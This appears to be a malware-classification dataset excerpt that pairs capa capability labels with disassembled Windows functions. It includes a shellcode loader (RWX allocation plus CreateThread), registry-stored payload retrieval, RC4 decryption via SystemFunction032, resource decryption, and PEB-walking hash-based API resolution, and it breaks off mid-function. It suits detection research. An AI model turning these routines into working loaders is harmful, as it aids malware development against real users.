joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007050
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x70
xor ebx, ebx
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x14000708d
lea rax, [rbx - 1]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
mov eax, dword [rsp + 0x40]
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0x98], rsi
movsxd rcx, eax
mov eax, 8
mul rcx
mov qword [rsp + 0x60], r14
cmovo rax, r15
mov rcx, rax
call fcn.1400071ec
mov r14, rax
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000718c
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0xa0], r12
mov r12, r14
mov qword [rsp + 0x68], r13
mov r13, rdi
sub r13, r14
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rbp, qword [r12 + r13]
mov r9d, r15d
mov qword [rsp + 0x38], rbx
mov r8, rbp
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.1400071ec
mov qword [rsp + 0x38], rbx
mov r9d, r15d
mov qword [rsp + 0x30], rbx
mov r8, rbp
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
lea r12, [r12 + 8]
mov eax, dword [rsp + 0x40]
inc r14d
cmp r14d, eax
jne 0x140007100
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x90]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x40]
mov rdx, r14
call fcn.140001900
mov esi, eax
cmp dword [rsp + 0x40], ebx
je 0x1400071cb
mov rdi, r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400071cb
call fcn.140006084
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x40]
jne 0x1400071b2
mov rcx, r14
call fcn.140006084
mov r14, qword [rsp + 0x60]
mov eax, esi
mov rsi, qword [rsp + 0x98]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
Function at 0x1400110e1
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140011980
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x1400240a2]
call fcn.14001139d
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffff
lea r8, str.MalDevAcademy
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011a3f
mov edx, dword [rbp + 4]
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
call fcn.1400111ae
xor eax, eax
jmp 0x140011b02
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x118]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140011a8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.1400111ae
xor eax, eax
jmp 0x140011b02
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xffff
lea r8, str.MalDevAcademy
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011ae2
mov edx, dword [rbp + 4]
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
call fcn.1400111ae
xor eax, eax
jmp 0x140011b02
mov rax, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x48]
mov qword [rax], rcx
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x158]
mov qword [rcx], rax
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ad40]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x140011168
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011ba0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1400240a2]
call fcn.14001139d
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x128]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011c3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.1400111ae
xor eax, eax
jmp 0x140011d07
mov rdx, qword [rbp + 8]
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.1400111ae
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x120]
mov rcx, qword [rbp + 8]
call fcn.1400111cc
mov r8, qword [rbp + 0x128]
xor edx, edx
mov rcx, qword [rbp + 0x120]
call fcn.1400112df
lea r9, [rbp + 0x24]
mov r8d, 0x40
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140011cb1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.1400111ae
xor eax, eax
jmp 0x140011d07
lea rcx, str.___Press__Enter__To_Run_...
call fcn.1400111ae
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140011d02
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.1400111ae
xor eax, eax
jmp 0x140011d07
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001adc0]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011177
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140011810
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240a2]
call fcn.14001139d
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400118f7
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.1400111ae
xor eax, eax
jmp 0x1400118fc
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001acc0]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013550
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400148a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400148c0
xor al, al
jmp 0x140014941
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400148d3
xor al, al
jmp 0x140014941
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400148fd
xor al, al
jmp 0x140014941
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014911
xor al, al
jmp 0x140014941
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014923
xor al, al
jmp 0x140014941
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001493f
xor al, al
jmp 0x140014941
mov al, 1
add rsp, 0x38
ret
Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000240a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000240a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000240a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000240a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000240a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000240c
xor al, al
add rsp, 0x28
ret
Function at 0x40c750
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
call fcn.0040c740
mov ebx, eax
test ebx, ebx
je 0x40c79b
cmp dword [0x0042b1bc], 0xffffffff
jne 0x40c774
mov ecx, 0xe2
call fcn.004080e0
mov ecx, ebx
call fcn.0040c720
test rax, rax
jne 0x40c78d
mov ecx, 0xe2
call fcn.004080e0
jmp 0x40c79b
mov ecx, dword [0x0042b1bc]
mov rdx, rax
call sub.kernel32.dll_TlsSetValue
add rsp, 0x20
pop rbx
ret

Function at 0x40c7b0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
cmp byte [0x00432d4c], 0
je 0x40c7eb
mov ecx, dword [0x0042b1bc]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x40c7ff
call fcn.0040c750
mov ecx, dword [0x0042b1bc]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x40c7ff
mov rax, qword [0x00432d80]
jmp 0x40c7ff
mov rax, qword gs:[0x58]
movsxd rcx, dword [0x0042b1bc]
mov rax, qword [rax + rcx*8]
add rsp, 0x28
ret

Function at 0x40e0b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call fcn.00409080
mov rcx, rax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40e0ce
test eax, 0x10
je 0x40e0d3
xor rax, rax
jmp 0x40e0d5
mov al, 1
add rsp, 0x28
ret

Function at 0x40e240
Capabilities:
Query environment variable

Disassembly:
push r13
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rsi, rdx
mov rcx, rbx
mov edx, 0xff
call fcn.00409200
mov rax, qword [rbx]
xor rdi, rdi
test rax, rax
je 0x40e26b
mov edi, dword [rax - 4]
mov rcx, rsi
call fcn.00409080
mov r13, rax
mov rcx, qword [rbx]
call fcn.00409080
mov rcx, r13
mov rdx, rax
mov r8d, edi
call sub.kernel32.dll_GetEnvironmentVariableW
test eax, eax
jne 0x40e29a
mov rcx, rbx
call fcn.00408270
jmp 0x40e2a8
mov rcx, rbx
mov edx, eax
call fcn.0040e510
test al, al
je 0x40e25d
nop
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r13
ret

Function at 0x40e380
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call fcn.00409080
mov rcx, rax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
setne al
add rsp, 0x28
ret

Function at 0x40e540
Capabilities:
Accept command line arguments

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call sub.kernel32.dll_GetCommandLineW_1
xor rcx, rcx
movzx rdx, word [rax]
sub dx, 1
cmp dx, 0xffff
je 0x40e580
cmp dx, 0x20
jb 0x40e56f
sub dx, 0x21
test dx, dx
jne 0x40e57a
jmp 0x40e575
test cl, cl
je 0x40e580
jmp 0x40e57a
test cl, cl
sete cl
add rax, 2
jmp 0x40e550
nop
jmp 0x40e587
add rax, 2
movzx rcx, word [rax]
cmp cx, 0x3f
ja 0x40e5b1
mov edx, 1
movzx rcx, cx
and rcx, 0x7f
shl rdx, cl
mov rcx, qword [0x0040e5cc]
test rdx, rcx
setne cl
jmp 0x40e5b4
xor rcx, rcx
test cl, cl
jne 0x40e583
mov rcx, rbx
mov rdx, rax
call fcn.00409100
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x41f490
Capabilities:
Get geographical location

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov ebx, r8d
lea r8, [rbp + 0x2c]
mov r9d, 2
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41f4b7
movzx rax, word [rbp + 0x2c]
jmp 0x41f4b9
mov eax, ebx
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret
Function at 0x420770
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x8e0
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
lea r8, [rbp + 0x60]
mov r9d, 0x400
call fcn.00420520
mov ebx, eax
mov rax, qword [0x0042d260]
cmp byte [rax], 0
je 0x4208a8
mov rcx, qword [0x0042d0a8]
call fcn.00405460
call fcn.00405060
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov esi, eax
lea rcx, [rbp + 0x58]
mov rdx, qword [0x00420728]
mov r8d, 1
movsxd r9, esi
call fcn.0040a1f0
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
mov rdx, qword [rbp + 0x58]
mov r8d, esi
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
lea rdx, [0x00420944]
mov r8d, 2
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
jmp 0x4208ee
mov rcx, qword [0x00432d50]
call fcn.0040a350
mov rcx, rax
mov rax, qword [0x0042d058]
mov edx, dword [rax + 8]
lea r8, [rbp + 0x860]
mov r9d, 0x40
call sub.user32.dll_LoadStringW_1
xor rcx, rcx
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x860]
mov r9d, 0x2010
call sub.user32.dll_MessageBoxW
nop
lea rcx, [rbp + 0x58]
mov rdx, qword [0x00420728]
call fcn.0040a230
lea rsp, [rbp + 0x8e0]
pop rbx
pop rsi
pop rbp
ret

Function at 0x422b40
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
call fcn.00408990
mov r13d, eax
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call fcn.0040c3f0
mov esi, eax
cmp esi, 0x104
jbe 0x422b9d
mov ecx, esi
add ecx, ecx
mov ecx, ecx
call fcn.00404d30
mov rdi, rax
jmp 0x422ba1
lea rdi, [rbp + 0x38]
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], esi
call fcn.0040c3f0
mov rax, rdi
mov rcx, rax
call sub.user32.dll_CharUpperW
xor rbx, rbx
xor rax, rax
mov ecx, esi
sub ecx, 1
cmp eax, ecx
jg 0x422bf7
add ecx, 1
mov edx, ebx
shl edx, 5
shr ebx, 0x1b
or edx, ebx
mov ebx, edx
movsxd rdx, eax
movzx edx, word [rdi + rdx*2]
xor ebx, edx
add eax, 1
cmp eax, ecx
jne 0x422bdb
nop
lea rax, [rbp + 0x38]
cmp rdi, rax
je 0x422c09
mov rcx, rdi
call fcn.00404d60
mov eax, ebx
lea rsp, [rbp + 0x240]
pop rbx
pop rsi
pop rdi
pop r13
pop rbp
ret
Function at 0x424300
Capabilities:
Encrypt data using rc6

Disassembly:
push r14
push r13
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rcx, qword [0x00437308]
lea rdx, [rsp + 0x20]
mov r8d, 0x40
call fcn.004050f0
mov dword [0x00437250], 0xb7e15163
mov ebx, 1
lea rax, [0x00437250]
movsxd rcx, ebx
lea rdx, [0x0043724c]
movsxd r8, ebx
mov edx, dword [rdx + r8*4]
add edx, 0x9e3779b9
mov dword [rax + rcx*4], edx
add ebx, 1
cmp ebx, 0x2c
jne 0x424333
nop
xor rbx, rbx
xor rsi, rsi
xor r13, r13
xor r14, r14
mov edi, 1
lea rax, [0x00437250]
movsxd rcx, ebx
mov ecx, dword [rax + rcx*4]
add ecx, r13d
add ecx, r14d
mov edx, 3
call fcn.00424140
mov r13d, eax
lea rax, [0x00437250]
movsxd rcx, ebx
mov dword [rax + rcx*4], r13d
movsxd rax, esi
mov ecx, dword [rsp + rax*4 + 0x20]
add ecx, r13d
add ecx, r14d
mov edx, r13d
add edx, r14d
call fcn.00424140
mov r14d, eax
movsxd rax, esi
mov dword [rsp + rax*4 + 0x20], r14d
mov eax, ebx
add eax, 1
mov ecx, 0x2c
cdq
idiv ecx
mov rbx, rdx
mov eax, esi
add eax, 1
mov ecx, 0x10
cdq
idiv ecx
mov rsi, rdx
add edi, 1
cmp edi, 0x85
jne 0x42436f
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop r13
pop r14
ret

Function at 0x424470
Capabilities:
Encode data using xor

Disassembly:
push r13
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov eax, dword [0x004372fc]
sub dword [rbx + 8], eax
mov eax, dword [0x004372f8]
sub dword [rbx], eax
mov esi, 0x14
mov eax, dword [rbx + 0xc]
mov ecx, dword [rbx + 8]
mov dword [rbx + 0xc], ecx
mov ecx, dword [rbx + 4]
mov dword [rbx + 8], ecx
mov ecx, dword [rbx]
mov dword [rbx + 4], ecx
mov dword [rbx], eax
mov eax, dword [rbx + 0xc]
add eax, eax
add eax, 1
mov ecx, dword [rbx + 0xc]
imul ecx, eax
mov edx, 5
call fcn.00424140
mov r13d, eax
mov eax, dword [rbx + 4]
add eax, eax
add eax, 1
mov ecx, dword [rbx + 4]
imul ecx, eax
mov edx, 5
call fcn.00424140
mov edi, eax
lea rax, [0x00437254]
mov ecx, esi
add ecx, ecx
movsxd rcx, ecx
mov edx, dword [rbx + 8]
sub edx, dword [rax + rcx*4]
mov ecx, edx
mov edx, edi
call fcn.00424160
xor eax, r13d
mov dword [rbx + 8], eax
lea rax, [0x00437250]
mov ecx, esi
add ecx, ecx
movsxd rcx, ecx
mov edx, dword [rbx]
sub edx, dword [rax + rcx*4]
mov ecx, edx
mov edx, r13d
call fcn.00424160
xor eax, edi
mov dword [rbx], eax
sub esi, 1
test esi, esi
jne 0x424493
nop
lea rax, [rbx + 0xc]
mov ecx, dword [0x00437254]
sub dword [rax], ecx
lea rax, [rbx + 4]
mov ecx, dword [0x00437250]
sub dword [rax], ecx
mov al, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r13
ret
Function at 0x424ac0
Capabilities:
Write file on windows

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rdx
mov rcx, qword [rbp + 0x68]
call fcn.00408400
nop
mov rcx, qword [rbp + 0x68]
call fcn.00409080
mov rcx, rax
mov edx, 0x40000000
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 2
mov dword [rsp + 0x28], 0x102
mov qword [rsp + 0x30], 0
call sub.kernel32.dll_CreateFileW
mov rcx, qword [rbp + 0x60]
mov qword [rcx + 0x58], rax
nop
mov rax, qword [rbp + 0x60]
mov rcx, qword [rax + 0x58]
mov rax, qword [rbp + 0x60]
mov rdx, qword [rax + 0x60]
mov rax, qword [rbp + 0x60]
mov r8d, dword [rax + 0x68]
mov r9, qword [rbp + 0x60]
add r9, 0x54
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
nop
mov rax, qword [rbp + 0x60]
mov rcx, qword [rax + 0x58]
call sub.kernel32.dll_CloseHandle_1
nop
lea rcx, [rbp + 0x68]
call fcn.00408270
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x424bc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x48], rdx
mov rcx, qword [rbp + 0x48]
call fcn.00408400
nop
xor rax, rax
mov byte [rbp + 0x2f], al
mov rcx, qword [rbp + 0x48]
call fcn.00409080
mov rcx, qword [0x00432d50]
mov rdx, rax
mov r8d, 0xa
call sub.kernel32.dll_FindResourceW
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x20]
cmp qword [rax + 8], 0
je 0x424d7d
mov rcx, qword [0x00432d50]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax + 8]
call sub.kernel32.dll_LoadResource
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x20]
cmp qword [rax + 0x10], 0
je 0x424d7d
lea rcx, [0x00424dcc]
call fcn.00424400
call fcn.00424300
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_LockResource
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 0x18], rax
mov rcx, qword [0x00432d50]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax + 8]
call sub.kernel32.dll_SizeofResource
mov eax, eax
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 0x48], rax
mov rcx, qword [rcx + 0x48]
call fcn.00404d30
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 0x60], rax
mov rax, qword [rcx + 0x18]
mov qword [rcx + 0x20], rax
mov rax, qword [rcx + 0x60]
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x40], 0
jmp 0x424d19
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rbp + 0x20]
lea rdx, [rax + 0x30]
mov r8d, 0x10
call fcn.004050f0
mov rax, qword [rbp + 0x20]
lea rcx, [rax + 0x30]
call fcn.00424470
mov rax, qword [rbp + 0x20]
lea rcx, [rax + 0x30]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax + 0x28]
mov r8d, 0x10
call fcn.004050f0
mov rax, qword [rbp + 0x20]
lea rax, [rax + 0x40]
add qword [rax], 0x10
mov rax, qword [rbp + 0x20]
lea rax, [rax + 0x20]
add qword [rax], 0x10
mov rax, qword [rbp + 0x20]
lea rax, [rax + 0x28]
add qword [rax], 0x10
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx + 0x48]
sub rax, qword [rcx + 0x40]
cmp rax, 0x10
jge 0x424cb0
call fcn.00424450
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx + 0x60]
add rax, qword [rcx + 0x48]
sub rax, 1
mov rcx, qword [rbp + 0x20]
mov qword [rcx + 0x20], rax
mov rax, qword [rcx + 0x20]
movzx rax, byte [rax]
mov rcx, qword [rbp + 0x20]
mov byte [rcx + 0x50], al
mov al, 1
mov byte [rbp + 0x2f], al
mov rcx, qword [rbp + 0x20]
movzx rax, byte [rcx + 0x50]
mov ecx, dword [rcx + 0x48]
sub ecx, eax
sub ecx, 1
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x68], ecx
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_FreeResource
nop
lea rcx, [rbp + 0x48]
call fcn.00408270
movzx rax, byte [rbp + 0x2f]
lea rsp, [rbp + 0x30]
pop rbp
ret
Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023fc
xor al, al
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
push rax
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
